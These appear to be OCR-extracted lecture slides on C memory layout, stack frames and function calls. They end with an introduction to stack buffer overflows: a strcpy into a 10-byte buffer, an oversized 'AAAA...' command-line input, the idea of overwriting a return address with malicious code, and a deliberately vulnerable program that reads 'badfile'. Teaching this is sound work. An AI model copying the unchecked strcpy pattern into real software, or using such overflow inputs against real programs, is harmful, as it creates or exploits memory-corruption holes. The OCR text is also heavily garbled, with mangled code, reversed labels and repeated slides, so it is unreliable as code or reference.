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Announcements

Lab 3 Due Sunday 10/2 @ 11:59 PM

Project?

Vibe check

Pizza Party on Thursday @4:10 PM in Barnard 254
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Program Memory Layout

High addresses
int x = 100;
stack . .
int main ()
-_________E __________ {
’ int a =2;
float b = 2.5;
A ' N
i static int vy;
int *ptr = (int *) malloc(2*sizeof (int));
heap
ptr[0] = 5;
uninitialized data ptr(l] = 6;
bss
initialized data free (ptr)
At return 1;
}
text
LOW addresses e —
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Stack and Function Invocation

int main () { int foo(x,vVy) {
int x = 3; printf (x);
int y = 3; printf (y);
foo(x,V) int z = 1;
int a = 0; foo2 (z)
foo2 (a);

return 0;

return 0; }

}

int fooZ(p) {
printf (p);

return 0O;

}

MONTANA
STATE UNIVERSITY




Stack and Function Invocation The Stack

OXFFFFF

int main () { int foo(x,vVy) {
int x = 3; printf (x) ;
int y = 3; printf (y);
foo(x,V) int z = 1;
int a = 0; foo2(z)
foo2 (a);
return 0O;
return 0; }
} Stack Frame Format

int fooZ2(p) {

printf (p);

return 0O;

MONTANA

STATE UNIVERSITY



Value of Arg 1

- - 0 The Stack
Stack and Function Invocation — [ |2
Retu.rn Address § o J—
. ; peoy s Frame ° Return Address for Main
int main () { int foo (x,vV) { o Stack - -
Xa:ueoxai 2 frame for Previous Frame Pointer
int x = 3; printf (x) ; main() X =3
int = 3; intf ;
Y printf (y) [v=3
foo(x,y) int z = 1;
int a = 0; foo2 (z)
foo2 (a);
return 0;
return 0; }
}

int fooZ(p) {

printf (p);

return 0O;
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. . Value of Arg 1 % The StaCk
Stack and Function Invocation oot | B
Return Address é‘ P OXFFEEF
; . Previous Frame ® Return Address for Main
int main () { int foo(x,vy) { s Stack i
za:ue Tri 5 frame for Previous Frame Pointer
int x = 3; printf (x) ; main() X =3
int = 33 intf ;
Y% printf (y) - |y=3
foo(x,y)- int z = 1;
int a = 0; foo2 (z)
foo2 (a);

return 0;

return 0O;

——

}

int foo2(p) {

printf (p) ;

return 0O;

T Mvovmama




Stack and Function Invocation

int main () {

int x = 3;
int y = 3;

foo(x,V)

int a = 0;

foo2 (a);

return 0O;

}

int fooZ(p) {
printf (p);

return 0O;

int foo (x,y) { @

printf (x) ;
printf (y);

int z = 1;
foo2 (z)

return 0;

Value of Arg 1

Value of Arg 2

Return Address

Previous Frame
Pointer

Stack

frame for
] —

main()

TewloH aweld yoeis

Value of Var 1

Value of Var 1

We need to know where to
return to when this function
finishes

X=3

Stack Y=3

frame for
foo()

Return Address for foo()

Previous Frame Pointer

Z=1

~—

The Stack

Return Address for Main

Previous Frame Pointer

X=3

Y=3

OXFFFFF

* Function arguments are put onto the stack in reverse order
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. . Value of Arg 1 The StaCk
Stack and Function Invocation 2
Return Address ?'3-' P OXFFFEF
) ) Previous Frame 7 Return Address for Main
int main () { int foo(x,vy) { « Pointer & Stack
Value of Var 1 3 frame for Previous Frame Pointer
, Value of Var 1 - . —
int x = 3; printf (x) ; main() X=3
int y = 3; printf (y); Y =3
foo(x,vy) int z = 1; X=3
) Stack Y=3
int a = 0; foo2 (z) frame for
Foo2 (a) ; foo) Return Address for foo()
return 0; Previous Frame Pointer .
return 0O; } 7-1
: =

int foo2(p) {

printf (p);

return 0O;

B e




- . Value of Arg 1 The StaCk
Stack and Function Invocation 2
Return Address ?'3-' P OXFFFEF
. . , fisuioteliame 5 Return Address for Main
int main () { int foo (x,vV) { Pointer g Stack
Value of Var 1 3 frame for Previous Frame Pointer
; Value of Var 1 - . —
int x = 3; printf (x); h main() X=3
int y = 3; printf (y);
_|Y=3
foo(x,vy) int z = 1; X=3
) Stack Y=3
int a = 0; foo2 (z) frame for
002 (a) ; f00() —— Return Address for foo()
return 0; Previous Frame Pointer
return O; } 7-1
: =

int foo2(p) {

printf (p) ;

return 0O;
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. . Value of Arg 1 The StaCk
Stack and Function Invocation 2
Return Address ?'3-' P OXFFFEF
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. . Value of Arg 1 The StaCk
Stack and Function Invocation 2
Return Address ?'3-' P OXFFFEF
) ) Previous Frame 7 Return Address for Main
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Value of Var 1 > frame f9r< Previous Frame Pointer
Value of Var 1 .
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: =
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. . Value of Arg 1 The StaCk
Stack and Function Invocation 2
Return Address ?'3-' P OXFFFEF
. . , fisuioteliame 5 Return Address for Main
int main () { int foo (x,vV) { Pointer g Stack
Value of Var 1 3 frame for Previous Frame Pointer
, Value of Var 1 - . —
int x = 3; printf (x) ; main() X=3
int y = 3; printf (y); Y =3
foo(x,vy) int z = 1; X=3
) Stack Y=3
int a = 0; foo2 (z) - frame for
Foo2 (a) ; foo) Return Address for foo()
return O0; Previous Frame Pointer
return 0O; } 7-1
: =

int foo2(p) {

printf (p);

return 0O;

B e




. . Value of Arg 1 The StaCk
Stack and Function Invocation K
Return Address 5‘ P OXFFFEF
) ) Previous Frame 7 Return Address for Main
int main () { int foo (x,vV) { Pointer g Stack
Value of Var 1 3 frame for Previous Frame Pointer
, Value of Var 1 - . —
int x = 3; printf (x) ; main() X=3
int y = 3; printf (y); Y =3
foo(x,vy) int z = 1; X=3
) Stack Y=3
int a = 0; foo2 (z) frame for
F002 (a) ; foo) Return Address for foo()
return O; Previous Frame Pointer
return 0O; } 7-1
: —

int fooZ2(p) { -

o Stack | P=1
PIESLTEE () 2 frame for | Return Address for foo2
foo2() :
return 0; Previous Frame Pointer
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Stack and Function Invocation

int main () {

int x = 3;
int y = 3;

foo(x,V)

int a = 0;

foo2 (a) ;

return 0O;

}

Value of Arg 1

Value of Arg 2

Return Address

Previous Frame

int foo (x,vVy) {

printf (x) ;
printf (y);

int z = 1;

foo2 (z)

Pointer

Value of Var 1

Value of Var 1

eturn 0O;

int fooZ2(p) { -

printf (p);

return 0O;

Stack
frame for
foo2()

p=1

Return Address for foo2

Previous Frame Pointer

TewloH aweld yoeis

Stack

frame for
—

main()

Stack

frame for

foo()

_<

The Stack

Return Address for Main

Previous Frame Pointer

X=3

Y=3

X=3

Y=3

Return Address for foo()

Previous Frame Pointer

Z=1

OXFFFFF
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Stack and Function Invocation

Value of Arg 1

Value of Arg 2

Return Address

int main () {

int x = 3;
int y = 3;

foo(x,V)

int a = 0;
foo2 (a);

return 0O;

int foo (x,vVy) {

printf (x) ;
printf (y);

int z = 1;
foo2 (z)

return 0;

Previous Frame
Pointer

Value of Var 1

Value of Var 1

}

int fooZ2(p) {

printf (p) ; h

return 0O;

The Stack

)
5 Return Address for Main
g Stack
2 frame for Previous Frame Pointer
2 me for |
main() X = 3
_1Y=3
X=3
Stack Y=3
frame for
fool) Return Address for foo()
Previous Frame Pointer
Z=1
=1
Stack P
frame for— Return Address for foo2
foo2
0 Previous Frame Pointer

OXFFFFF
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. . Value of Arg 1 T h t k
Stack and Function Invocation 5 e Stac
Return Address 5‘ P OXFFFEF
. . , e e 3 Return Address for Main
int main () { int foo (x,vV) { Pointer g Stack
Value of Var 1 = frame for Previous Frame Pointer
int w — 3; prlntf (X) . Value of Var 1 main() X _ 3
int y = 3; rintf ;
printt (y) |v=3
foo(x,vy) int z = 1; X=3
| ) Stack Y=3
int a = 0y foo2 (z) frame for
F002 (a) ; foo) Return Address for foo()
return 0; Previous Frame Pointer
return 0O; } 7-1
} —
=1
. Stack P
int fooZ(p) { frame for— Return Address for foo2
foo2
T 0 u Previous Frame Pointer
This function is finished, so we need to
return 0; = determine where the next instruction of the
} program is
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. . Value of Arg 1 The StaCk
Stack and Function Invocation e
Return Address 5‘ o OXEEEEE
; ; . Previous Frame 5 Return Address for Main
int main() { int foo(x,y) { Polnter & Stack
el o e = frame for Previous Frame Pointer
. Value of Var 1 . —
int x = 3; printf (x) ; main() X=3
int y = 3; rintf ;
printt(y) |v=3
foo(x,y) int z = 1; X=3
. 0 Stack Y=3
int a = 0; foo2 (z) frame for
002 (a0 foo) Return Address for foo()
return O; Previous Frame Pointer
return 0; } 7.1
} J—
=1
. Stack P
int fooZ (p) { frame for— (Return Address for foo2 S
—
foo2() . .
printf (p) ; - Previous Frame Pointer
This function is finished, so we need to
return 0; @ determine where the next instruction of the
} program is
Look at the return address in the stack frame!
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. . Value of Arg 1 The StaCk
Stack and Function Invocation 2
Return Address 5‘ P OXFFFEF
) ) Previous Frame 7 Return Address for Main
int main () { int foo (x,vV) { Pointer g Stack
Value of Var 1 = frame for Previous Frame Pointer
Value of Var 1 .
int x = 3; printf (x) ; main() X =3
int y = 3; printf (y); Y =3
foo(x,vy) int z = 1; X=3
) Stack Y=3
int a = 0; foo2 (z) {Il frame for
Fo02 (a) ; foo) Return Address for foo()
return 0; Previous Frame Pointer
return 0O; } 7-1
}
p=1
: Return back to foo()
int fooZ(p) { frame for Return Address for foo2
foo2 .
Bt A () ; Y u Previous Frame Pointer

return 0O;

e



. . Value of Arg 1 The StaCk
Stack and Function Invocation K
Return Address 5‘ P OXFFFEF
) ) Previous Frame 7 Return Address for Main
int main () { int foo (x,vV) { Pointer g Stack
Value of Var 1 3 frame for Previous Frame Pointer
, Value of Var 1 - . —
int x = 3; printf (x) ; main() X=3
int y = 3; printf (y); Y =3
foo(x,vy) int z = 1; X=3
) Stack Y=3
int a = 0; foo2 (z) - frame for
F002 (a) ; foo) Return Address for foo()
return O; Previous Frame Pointer
return 0O; } 7-1
} ~——

: Return back to foo()
int foo2(p) {

printf (p) ;

return 0O;
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. . Value of Arg 1 The StaCk
Stack and Function Invocation K
Return Address 5‘ P OXFFFEF
. . , e e 3 Return Address for Main
int main () { int foo (x,vV) { Pointer g Stack
Value of Var 1 3 frame for Previous Frame Pointer
, Value of Var 1 - . —
int x = 3; printf (x) ; main() X=3
int y = 3; rintf ;
g (y) - [v=3
foo(x,vy) int z = 1; X=3
| ) Stack Y=3
int a = 0; foo2 (z) frame for
F002 (a) ; foo) Return Address for foo()
return 0; - Previous Frame Pointer
return 0O; } 7-1
: - |Z=

int foo2 (p) { foo() is done, we now need to return back to main!

printf (p);

return 0O;
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. . Value of Arg 1 The StaCk
Stack and Function Invocation - H
Return Address ?'3-' P OXFFFEF
. . , fisuioteliame 5 Return Address for Main
int main () { int foo (x,vV) { Pointer g Stack
Value of Var 1 = frame for Previous Frame Pointer
int x = 3; printf (x); o main() X=3
int y = 3; printf (y); Y =3
foo(x,vy) int z = 1; X=3
) Stack Y=3
int a = 0; foo2(z
F002 (a) ; (z) frame for Return Address for foo()
return O; - Previous Frame Pointer
return 0O; } 7-1

} ~—

int foo2 (p) { foo() is done, we now need to return back to main!

printf (p);

return 0O;

N v,




Stack and Function Invocation

int main () {

int x = 3;
int y = 3;

foo(x,V) -

int a = 0;
foo2 (a);

return 0O;

}

int fooZ2(p) {
printf (p);

return 0O;

Value of Arg 1

Value of Arg 2

Return Address

int foo (x,vVy) {

printf (x) ;
printf (y);

int z = 1;
foo2 (z)

return 0;

Previous Frame
Pointer

Value of Var 1

Value of Var 1

foo() is done, we now need to return back to main!

TewloH aweld yoeis

Stack

frame for
—

main()

The Stack

Return Address for Main

Previous Frame Pointer

X=3

Y=3

OXFFFFF
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. . Value of Arg 1 The StaCk
Stack and Function Invocation K
Return Address 5‘ P OXFFFEF
. . , e e 3 Return Address for Main
int main () { int foo (x,vV) { Pointer g Stack
Value of Var 1 = frame for Previous Frame Pointer
int w — 3; prlntf (X) . Value of Var 1 main() X= 3
int y = 3; rintf ;
P (y) lv=3
foo(x,V) int z = 1;
int a = O;h foo2 (z)
foo2 (a);
return O;
return O; }
}

int foo2 (p) { foo() is done, we now need to return back to main!

printf (p);

return 0O;

29



. . Value of Arg 1 The StaCk
Stack and Function Invocation - H
Return Address ?'3-' P OXFFFEF
. . , fisuioteliame 5 Return Address for Main
int main () { int foo(x,y) { Polnter & Stack :
Value of Var 1 = frame for Previous Frame Pointer
int x = 3; printf (x); o main() X=3
int vy = 3; intf g
printf (y) |v=3
foo(x,V) int z = 1;
int a = 0; foo2 (z)
foo2 (a) ;«

return 0;

return ; }

}

int fooZ2(p) {

printf (p); p=0

Return Address for foo2

return 0O;
} Previous Frame Pointer
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. . Value of Arg 1
Stack and Function Invocation e £ The Stack
Return Address 5‘ o OXEEEEE
; ; . Previous Frame 5 Return Address for Main
int main() { int foo(x,y) { Polnter & Stack
el o e = frame for Previous Frame Pointer
alue of Var .
int x = 3; printf (x); — main() X=3
int y = 37 rintf ;
printf(y) |v=3

foo(x,y) int z = 1;

int a = 0; foo2 (z)

fooZ(a);{..

return O;

return 0; }
}
int foo2 (p) { foo2() gets called again, so put it on the stack again

printf (p); p=0

Return Address for foo2

return 0;

} Previous Frame Pointer
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Stack and Function Invocation

int main () {

int x = 3;
int y = 3;
foo(x,V)
int a =

0;
fooZ(a);{..

return 0O;

}

int fooZ2(p) {
printf (p);

return 0O;

Value of Arg 1

Value of Arg 2

Return Address

int foo (x,vVy) {

printf (x) ;
printf (y);

int z = 1;
foo2 (z)

return 0;

Previous Frame
Pointer

Value of Var 1

TewloH aweld yoeis

Value of Var 1

Stack
frame for
. —
main()
Stack

frame for —
foo2()

The Stack

Return Address for Main

Previous Frame Pointer

X=3

Y=3

p=0

Return Address for foo2

Previous Frame Pointer

OXFFFFF
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Stack and Function Invocation

int main () {

int x = 3;
int y = 3;

foo(x,V)

int a = 0;

foo2 (a) ;

return 0O;

}

Value of Arg 1

Value of Arg 2

Return Address

int foo (x,vVy) {

printf (x) ;
printf (y);

int z = 1;
foo2 (z)

return 0;

Previous Frame
Pointer

Value of Var 1

TewloH aweld yoeis

Value of Var 1

int foo2 (p) { 4=m

printf (p);

return 0O;

Stack
frame for
. —
main()
Stack

frame for —
foo2()

The Stack

Return Address for Main

Previous Frame Pointer

X=3

Y=3

p=0

Return Address for foo2

Previous Frame Pointer

OXFFFFF
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Stack and Function Invocation

Value of Arg 1

Value of Arg 2

Return Address

int main () {

int x = 3;
int y = 3;

foo(x,V)

int a = 0;
foo2 (a) ;

return 0O;

int foo (x,vVy) {

printf (x) ;
printf (y);

int z = 1;
foo2 (z)

return 0;

Previous Frame
Pointer

Value of Var 1

TewloH aweld yoeis

Value of Var 1

}

int fooZ2(p) {

printf (p) ; h

return 0O;

Stack
frame for
. —
main()
Stack

frame for —
foo2()

The Stack

Return Address for Main

Previous Frame Pointer

X=3

Y=3

p=0

Return Address for foo2

Previous Frame Pointer

OXFFFFF
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. . Value of Arg 1 The StaCk
Stack and Function Invocation K
Return Address 5‘ P OXFEFFF
. . iRl 5 Return Address for Main
int main() { int foo(x,y) { Polnter & Stack
Ve T = frame for Previous Frame Pointer
: Value of Var 1 .
int x = 3; printf (x) ; main() X=3
int y = 3; printf (y); Y =3
foo(x,y) int z = 1; Stack p=0
. . frame for — | Return Address for foo2
int a = 0; foo2 (z) foo2()
foo2 (a) ; | Previous Frame Pointer
return O;
return O; }
}

int fooZ2(p) {

printf (p);

return O;«
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. . Value of Arg 1 Th e StaC k
Stack and Function Invocation - H
Return Address ?'3-' P OXFEFFF
. . AL RS 5 Return Address for Main
int main() { int foo(x,y) { Polnter & Stack
U e 2 frame for_ Previous Frame Pointer
: Value of Var 1 .
int x = 3; printf (x) ; main() X=3
int y = 3; printf (y); Y =3
foo (x,v) int z = 1; Stack p=0
ot . frame for Return Address for foo2
int a = Uy foo2 (z)
foo2 (a) ; | Previous Frame Pointer
return 0O;
return O; }

}

int fooZ2(p) {

printf (p);

return O;.
S MMvonmana




. . Value of Arg 1 ) The StaCk
Stack and Function Invocation - H
Return Address ?'3-' P OXFFFEF
. ) Previous Frame 2 Return Address for Main
int main () { int foo(x,y) { Polnter & Stack : :
Value of Var 1 = frame for Previous Frame Pointer
int x = 3; printf (x); o main() X=3
int = 37 intf ;
% printf (y) |v=3
foo(x,V) int z = 1;
int a = 0; foo2 (z)
foo2 (a) ; .
return 0O;
return O; }
}

int foo2(p) {

printf (p) ;

return 0O;

S Mvovmana



. . Value of Arg 1 ) The StaCk
Stack and Function Invocation - H
Return Address ?'3-' P OXFFFEF
. ) Previous Frame 3 Return Address for Main
int main () { int foo(x,y) { Polnter & Stack : :
Value of Var 1 = frame for Previous Frame Pointer
int x = 3; printf (x); o main() X=3
int = 37 intf ;
% printf (y) |v=3
foo(x,V) int z = 1;
int a = 0; foo2 (z)
foo2 (a);
return 0O;
return 0; - }
}

int foo2(p) {

printf (p) ;

return 0O;

S Mvovmana



. . Value of Arg 1 Th e StaC k
Stack and Function Invocation - H
Return Address ?'3-' OXFFFEF
; : Previous Frame (30
int main () { int foo(x,y) { Folnter g
Value of Var 1 g
. Value of Var 1 -
int x = 3; printf (x) ;
int y = 3; printf (y);
foo(x,V) int z = 1;
int a = 0; foo2 (z)
foo2 (a);

return 0;

return O; }

}

int foo2(p) {

Program done!
printf (p) ;

return 0O;

S MoMovmana



Stack and Function Invocation The Stack

OXFFFFF

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

void foo(char *str)

{

char buffer[10];
strcpy (buffer, str);

}

int main(int argc, char *argv(])

{

foo (argv[l]) ;
printf ("Returned Properly\n");
return 0;

MONTANA
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Stack and Function Invocation The Stack

OXFFFFF

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

main() stack frame | Return Address

void foo(char *str)

{

char buffer[10];
strcpy (buffer, str);

}

int main(int argc, char *argv(])

{

foo (argv[l]) ;
printf ("Returned Properly\n");
return 0;
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Stack and Function Invocation The Stack

OXFFFFF

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

main() stack frame | Return Address

void foo(char *str)

char buffer[10];
strcpy (buffer, str);

int main(int argc, char *argv(]) : fOO() StaCk frame

{ Return Address
foo (argv[l]) ;
printf ("Returned Properly\n"); CHAR BUFFER[]
return 0;

MONTANA
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Stack and Function Invocation The Stack
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#include <string.h>
#include <stdio.h>
#include <stdlib.h>

main() stack frame | Return Address

void foo(char *str)

char buffer[10];
strcpy (buffer, str);

int main(int argc, char *argv(]) : fOO() StaCk frame

{ Return Address
foo (argv[l]) ;
printf ("Returned Properly\n"); CHAR BUFFER[]
return 0;
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Stack and Function Invocation The Stack

OXFFFFF

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

main() stack frame | Return Address

void foo(char *str)

char buffer[10];
strcpy (buffer, str);

int main(int argc, char *argv(]) : fOO() StaCk frame

{ aped e o
foo (argv[1l]) ; L —— - l P - J— -o Return Address
printf ("Returned Properly\n"); T o mme= CHAR BUFFER([]
return 0;
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Stack and Function Invocation The Stack

OXFFFFF

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

main() stack frame | Return Address

void foo(char *str)

{

char buffer[10];
strcpy (buffer, str);

}

int main(int argc, char *argv(]) ’ fOO() stack frame

{ Return Address
foo (argv([l]) ;
printf ("Returned Properly\n"); CHAR BUFFER[]

return 0;

The input we give this program gets put into memory at some stack frame
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Stack and Function Invocation The Stack

OXFFFFF

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

main() stack frame | Return Address

void foo(char *str)
{

char buffer[10];
strcpy (buffer, str);

}

int main(int argc, char *argv(])

' foo() stack frame
{ Return Address
foo (argv[l]) ;

printf ("Returned Properly\n"); CHAR BUFFER[] m
return 0;

The input we give this program gets put into memory at some stack frame

MONTANA
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Stack and Function Invocation The Stack

OXFFFFF

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

main() stack frame | Return Address

void foo(char *str)
{

char buffer[10];
strcpy (buffer, str);

}

int main(int argc, char *argv(])
{

foo() stack frame
Return Address
foo (argv([l]) ;

prti;ntf(;Returned Properly\n"); CHAR BUFFER[] m
return 0;

The input we give this program gets put into memory at some stack frame

Buffer only has 10 characters, so we are not allowed to give 12 characters, right?

S MMovmans



Stack and Function Invocation The Stack

OXFFFFF

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

main() stack frame | Return Address

void foo(char *str)
{

char buffer[10];
strcpy (buffer, str);

int main(int argc, char *argv(])

foo() stack frame

ﬂ Return Address
foo (argv([l]) ;

printf ("Returned Properly\n"); CHAR BUFFER[] m
return 0;

The input we give this program gets put into memory at some stack frame

Buffer only has 10 characters, so we are not allowed to give 12 characters, right?

C doesn’t care.
48




Stack and Function Invocation The Stack

OXFFFFF

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

main() stack frame | Return Address

void foo(char *str)

char buffer[10];
strcpy (buffer, str);

int main(int argc, char *argv(])

' foo() stack frame
{ Return Address
foo (argv[l]) ;

printf ("Returned Properly\n"); CHAR BUFFER[] m
return 0;

Instead of . /myprogram reese

What if we did.....

MONTANA
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Stack and Function Invocation The Stack

OXFFFFF

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

main() stack frame | Return Address

void foo(char *str)

char buffer[10];
strcpy (buffer, str);

int main(int argc, char *argv(])

' foo() stack frame
{ Return Address
foo (argv[l]) ;

printf ("Returned Properly\n"); CHAR BUFFER[] m
return 0;

Instead of . /myprogram reese

What if we did.....

./myprogram AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARALNA;

MONTANA
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Stack and Function Invocation The St3

OXFFFFF

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

main() stack frame | Return Address

void foo(char *str)

{
char buffer[10];
strcpy (buffer, str);

}

>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>

int main(int arge, char *argv(]) : fOO() stack frame

‘ Return Address
foo (argv[l]) ;
printf ("Returned Properly\n"); CHAR BUFFER[]

return 0;

./myprogram AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANAARARAARAAAAAAARERAAREAAAPALAT

This buffer can “overflow” into other regions of memory

It will overwrite whatever was located at that address

MONTANA
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Stack and Function Invocation The St3

OXFFFFF

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

main() stack frame | Return Address

void foo(char *str)

{
char buffer[10];
strcpy (buffer, str);

}

>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>

int main(int arge, char *argv(]) : fOO() stack frame

‘ Return Address
foo (argv[l]) ;
printf ("Returned Properly\n"); CHAR BUFFER[]

return 0;

./myprogram AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANAARARAARAAAAAAARERAAREAAAPALAT

This buffer can “overflow” into other regions of memory

It will overwrite whatever was located at that address

MONTANA
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Stack and Function Invocation The St3

OXFFFFF

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

main() stack frame | Return Address

void foo(char *str)

{
char buffer[10];
strcpy (buffer, str);

}

>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>

int main(int argc, char *argv(]) : fOO() StaCk frame

‘ Return Address
foo (argv[l]) ;
printf ("Returned Properly\n"); CHAR BUFFER[]
return 0;

./myprogram AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANAARARAARAAAAAAARERAAREAAAPALAT

This buffer can “overflow” into other regions of memory

It will overwrite whatever was located at that address

Our buffer overwrites the return addresses of other stack frames

MONTANA
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Stack and Function Invocation The St3

OXFFFFF

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

main() stack frame | Return Address

void foo(char *str)

{
char buffer[10];
strcpy (buffer, str);

}

>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>

int main(int argc, char *argv(]) : fOO() StaCk frame

‘ Return Address
foo (argv[l]) ;
printf ("Returned Properly\n"); € CHAR BUFFER[]
return 0;

./myprogram AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANAARARAARAAAAAAARERAAREAAAPALAT

This buffer can “overflow” into other regions of memory

It will overwrite whatever was located at that address

Our buffer overwrites the return addresses of other stack frames

MONTANA
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Stack and Function Invocation The Stack

OXFFFFF

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

main() stack frame | Return Address

void foo(char *str)

(
char buffer[10];
strcpy (buffer, str);

}

int main(int argc, char *argv([]) fOO() StaCk frame

| Return Address
foo (argv([l]) ;
printf ("Returned Properly\n"); < CHAR BUFFER[]

return 0;

./myprogram AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANAARARAARAAAAAAARERAAREAAAPALAT

This buffer can “overflow” into other regions of memory

It will overwrite whatever was located at that address

Our buffer overwrites the return addresses of other stack frames

55




Stack and Function Invocation The Stack

OXFFFFF
#include <string.h>
#include <stdio.h> AYAYAYAYA
#include <stdlib.h> )
main() stack frame | Return Address AAAAA
void foo(char *str)
{ NAAAAN
char buffer[10];
strcpy (buffer, str); v AAAAA
\
APAVAYAYA
int main(int argc, char *argv([]) ’ fOO() stack frame
{ Return Address
foo (argv([l]) ;
printf ("Returned Properly\n"); D e CHAR BU AWAVAWAWA
return 0;
}
./myprogram AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAARAAA]
What could we
overwrite it with?

N o



Stack and Function Invocation The Stack

OXFFFFF
#include <string.h>
#include <stdio.h> AYAWAYAYA
#include <stdlib.h> )
main() stack frame | Return Address AAAAA
void foo(char *str)
{ AAAAA
char buffer[10];
strcpy (buffer, str); v AAAAA
\
int main(int argc, char *argv([]) ’ fOO() stack frame
{ Return Address
foo (argv([l]) ;
printf ("Returned Properly\n"); D e CHAR BU AWAVAWAWA
return 0;
}
./myprogram AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAANAAAAAAAAAAAAAAAAAAAAARAAAL
What could we
overwrite it with?
Our own mallcmus code!

N v,



Putting Stuff on the stack How does a program know where to find function args and local variables?

void main () push  $0x3 ; push b

{ ' push $0x2 ; push a

foo(2,3); call .... <foo> ; push RA ‘
return 0; '
} 0 value of b
\ arguments
value of a
push $ebp ; save ebp ‘
mov %esp, $ebp ; set ebp return address

‘{Old ALkl mov 0x8 (%ebp) , ¥edx a previous frame pointer /ebp
int x, y; mov Oxc(%ebp) ,%eax ; b
x =a + b; ‘ add %edx, $eax. 5k value ofy | |
y=a-b; mov %eax,-0x8 (%ebp) ; x= ocal vars.
} mov 0x8 (%ebp), $eax ; etc. value of x
sub Oxc (%ebp) , $eax ;
mov %eax, -0x4 (%ebp) \
A esp

leave ; set esp = ebp
i Pop ebp
ret ; pop RA

There are two important registers that are used for accessing the stack

MONTANA
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Putting Stuff on the stack How does a program know where to find function args and local variables?

void main () , push  $0x3 ; push b
{ push  $0x2 ; push a
fo:(2,3:); - call .... <foo> ; push RA :
o L 7 value of b .
: - s arguments
value of a
push %ebp ; save ebp -
mov tesp, sebp ; set ebp return address
\{Old FOG G B ah s B mov 0x8 (%ebp) ,%edx ; a previous frame pointer /ebp
int x, y; mov Oxc(%ebp) ,%eax ; b
s ‘ add  %edx, %eax. P+ value of y
AiE e o local vars
y =a - b; mov %eax,-0x8 (%ebp) ; x= I 3
} mov 0x8 (%ebp), $eax ; etc. value of x
= — sub Oxc (%ebp) , $eax !
mov %eax, -0x4 (%ebp) \
4 esp
leave ; set esp = ebp i
; pop ebp
ret ; pPop RA

There are two important registers that are used for accessing the stack

esp = points to top of stack ebp = points to the current stack frame

MONTANA
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Putting Stuff on the stack How does a program know where to find function args and local variables?

Function prologue

void main () , push  $0x3 ; push b
{ push  $0x2 ; push a
fo:(2,3:); - call .... <foo> ; push RA :
o L 7 value of b .
: - s arguments
value of a
push %ebp ; save ebp -
mov tesp, sebp ; set ebp return address
\{Old FOG G B ah s B mov 0x8 (%ebp) ,%edx ; a previous frame pointer /ebp
int x, y; mov Oxc(%ebp) ,%eax ; b
s ‘ add  %edx, %eax. P+ value of y
AiE e o local vars
y =a - b; mov %eax,-0x8 (%ebp) ; x= I 3
} mov 0x8 (%ebp), $eax ; etc. value of x
= — sub Oxc (%ebp) , $eax !
mov %eax, -0x4 (%ebp) \
4 esp
leave ; set esp = ebp i
; pop ebp
ret ; pPop RA

There are two important registers that are used for accessing the stack

esp = points to top of stack ebp = points to the current stack frame
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Putting Stuff on the stack How does a program know where to find function args and local variables?

Function epilogue

void main () , push  $0x3 ; push b
{ push  $0x2 ; push a
f°:(2'3z); » call .... <foo> ; push RA ,
3 it 7 value of b |
— i — arguments
value of a
push %ebp ; save ebp -
mov tesp, sebp ; set ebp return address
eSS R mov  0x8(%ebp)%edx ; a previous frame pointer e
inE e mov Oxc(%ebp) ,%eax ; b
s ‘ add  %edx, %eax. P+ value of y
R Lo local vars
y =a-b; mov %eax,-0x8 (%ebp) ; x= I 3
} mov 0x8 (%ebp), $eax ; etc. value of x
— — sub Oxc (%ebp) , $eax ‘ {
mov %eax, -0x4 (%ebp) \
4 esp
leave ; set esp = ebp i
; pop ebp
ret ; pop RA

There are two important registers that are used for accessing the stack

esp = points to top of stack ebp = points to the current stack frame
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Putting Stuff on the stack How does a program know where to find function args and local variables?

void main () , push  $0x3 ; push b
{ push  $0x2 ; push a
fo:(2,3:); - call .... <foo> ; push RA :
TR 7 value of b . baprgtm]é%fs
value of a epp + 8
push %ebp ; save ebp -
mov  %esp,%ebp ; set ebp return address ebp +4
\{Old F9L L B i SRELR) mov ~ Ox8(%ebp), %edx ; a previous frame pointer /ebp
int x, y; mov Oxc(%ebp) ,%eax ; b
s ‘ add  %edx, %eax. P+ value of y
N Lo local vars
y =a - b; mov %eax,-0x8 (%ebp) ; x= |
} mov 0x8 (%ebp), $eax ; etc. value of x
= — sub Oxc (%ebp) , $eax
mov %eax, -0x4 (%ebp) \
4 esp
leave ; set esp = ebp i
i Pop ebp
ret ; pPop RA

There are two important registers that are used for accessing the stack

esp = points to top of stack ebp = points to the current stack frame

MONTANA
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A Vulnerable Program

Reads (up to) 517 bytes of data from badfile

Storing the file contents into a str variable
of size 517 bytes

Calling bof() function with str as an
argument, which is copied to buffer

Main - bof() -2 strcpy() =2

int

clude <stdlib.h>

// potential buffer overflow!

strcpy (buffer, str);

return 1;

main (int argc, char **argv)

chart str[5ilF
